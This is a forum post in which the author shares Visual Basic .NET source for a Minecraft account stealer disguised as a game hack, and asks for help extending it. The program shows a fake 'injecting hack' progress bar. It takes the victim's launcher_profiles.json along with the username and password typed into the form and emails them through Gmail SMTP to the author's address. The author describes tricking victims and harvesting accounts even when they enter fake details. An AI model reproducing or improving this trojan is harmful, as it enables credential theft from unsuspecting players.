launcher_profiles.json stealer

**wowees8** · 07-16-2013

here is my code

Code:

Imports System.Net.Mail
Public Class Form1
    Dim smtp As New SmtpClient
    Dim mail As New MailMessage
    Private Sub CheckBox2_CheckedChanged(sender As System.Object, e As System.EventArgs) Handles CheckBox2.CheckedChanged

    End Sub

    Private Sub CheckBox3_CheckedChanged(sender As System.Object, e As System.EventArgs) Handles CheckBox3.CheckedChanged

    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Timer1.Start()
        Dim MyMailMessage As New MailMessage()
        Try
            Dim Attch As Net.Mail.Attachment = New Net.Mail.Attachment(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\.minecraft\launcher_profiles.json")
            MyMailMessage.Attachments.Add(Attch)
            MyMailMessage.From = New MailAddress("email@gmail.com")
            MyMailMessage.To.Add("different_email@gmail.com")
            MyMailMessage.Subject = ("Minecraft")
            MyMailMessage.Body = (TextBox1.Text + ":" + TextBox2.Text + Chr(13) + "Server IP:" + TextBox4.Text)
            Dim SMTP As New SmtpClient("smtp.gmail.com")
            SMTP.Port = 587
            SMTP.EnableSsl = True
            SMTP.Credentials = New System.Net.NetworkCredential("email@gmail.com", "password")
            SMTP.Send(MyMailMessage)
        Catch ex As Exception
        End Try
    End Sub

    Private Sub TextBox1_TextChanged(sender As System.Object, e As System.EventArgs) Handles TextBox1.TextChanged

    End Sub

    Private Sub TextBox2_TextChanged(sender As System.Object, e As System.EventArgs) Handles TextBox2.TextChanged

    End Sub

    Private Sub TextBox4_TextChanged(sender As System.Object, e As System.EventArgs) Handles TextBox4.TextChanged

    End Sub

    Private Sub Label3_Click(sender As System.Object, e As System.EventArgs) Handles Label3.Click

    End Sub

    Private Sub Label2_Click(sender As System.Object, e As System.EventArgs) Handles Label2.Click

    End Sub

    Private Sub Label1_Click(sender As System.Object, e As System.EventArgs) Handles Label1.Click

    End Sub

    Private Sub ProgressBar1_Click(sender As System.Object, e As System.EventArgs) Handles ProgressBar1.Click

    End Sub

    Private Sub CheckBox1_CheckedChanged(sender As System.Object, e As System.EventArgs) Handles CheckBox1.CheckedChanged

    End Sub

    Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
        ProgressBar1.Increment(1)
        If ProgressBar1.Value = 100 Then
            Timer1.Stop()
            MsgBox("Injecting hack, Please wait UP TO 3 hours.")
        End If
    End Sub

    Private Sub Button2_Click(sender As System.Object, e As System.EventArgs) Handles Button2.Click
        MsgBox("Due to 1.6 login systems this has a 13% chance of working. So don't get your hopes up." + Chr(13) + "Also, if you spam it, it lowers the chances of working because it thinks you're hacking the server")
    End Sub
End Class

im not sure how to use the .json so i make them put the password and user. so far i only use the .json to see if its migrated account or not. in 1.5.2 instead of the .json i took the lastlogin. so even if they type in fake info i still have the account, if someone could find a way to find out passwords with the .json then it will work the same way